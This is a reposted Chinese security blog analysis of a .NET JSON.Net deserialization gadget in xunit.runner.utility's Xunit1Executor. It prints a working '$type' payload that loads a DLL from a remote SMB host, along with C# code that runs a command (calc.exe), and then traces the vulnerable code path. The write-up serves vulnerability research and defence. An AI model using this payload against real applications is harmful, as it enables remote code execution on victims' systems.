.NET 反序列化Xunit1Executor漏洞分析

admin 2024年3月10日12:08:15评论6 views字数 1453阅读4分50秒阅读模式

01

Xunit1Executor漏洞复现

Xunit.Net 是一款 .NET平台免费开源的单元测试框架,常用于并行测试和数据驱动测试。目前支持 .Net Framework.Net Core.Net StandardUWPXamarin 等平台。这个组件中的 WindowsLibrary 类在反序列化时可加载UNC路径下的非托管dll,从而触发任意命令执行漏洞,下面我们将详细介绍漏洞原理及复现过程。

xunit组件可以在Nuget上获取,打开项目包管理器,浏览名为 “xunit.runner.utility的包,点击安装即可。接着使用Ysoserial生成Payload,具体Payload代码如下所示

{    '$type':'Xunit.Xunit1Executor, xunit.runner.utility.net',    'useAppDomain':true,    'testAssemblyFileName':'\192.168.101.86\Poc\xunit.dll'}

上述代码通过远程SMB协议建立主机之间的通信后,再加载基于C#实现的托管xunit.dll文件,而xunit.dll实现上需要Executor

public class Executor    {        public Executor(string poc)        {            ProcessStartInfo psi = new ProcessStartInfo("cmd.exe", "/c calc.exe");            Process proc = new Process();            proc.StartInfo = psi;            proc.Start();        }    }

最后调用JSON.Net反序列化执行,虽然抛出异常,但不影响触发命令执行,如图所示

.NET 反序列化Xunit1Executor漏洞分析

02

漏洞分析

反编译打开xunit.runner.utility.dll分析源代码,快速定位到 Xunit1Executor类,该类创建对象时会调用默认的构造方法

.NET 反序列化Xunit1Executor漏洞分析

图中Xunit1Executor构造方法创建一个新的 AppDomain用来加载单元测试用例提供的.NET程序集。程序集的路径由Xunit1Executor.GetXunitAssemblyPath方法获取,如图所示。

.NET 反序列化Xunit1Executor漏洞分析

从代码实现上可以看出加载的文件名为 xunit.dll,因此我们在反序列化构建Payload时也需要提供同名的dll文件。接着构造方法里使用CreateObject方法从xunit.dll程序集中创建类型为 Xunit.Sdk.Executor的对象

this.executor = this.CreateObject("Xunit.Sdk.Executor", new object[]{    testAssemblyFileName});

跟进CreateObject方法的定义,发现是定义在IAppDomainManager 接口中,AppDomainManager_AppDomain类实现了IAppDomainManager 接口,也重写了CreateObject方法,如图所示。

.NET 反序列化Xunit1Executor漏洞分析

内部还是调用了AppDomain.CreateInstanceAndUnwrap 方法在AppDomain中创建了Xunit.Sdk.Executor对象,AppDomain.CreateInstanceAndUnwrap方法可以通过反射程序集的方式创建对象从而执行命令.本文PDF版已经发布于dot.Net安全矩阵星球知识库,感兴趣的师傅请自取。

原文始发于微信公众号(dotNet安全矩阵):.NET 反序列化Xunit1Executor漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月10日12:08:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   .NET 反序列化Xunit1Executor漏洞分析https://cn-sec.com/archives/2564019.html

发表评论

匿名网友 填写信息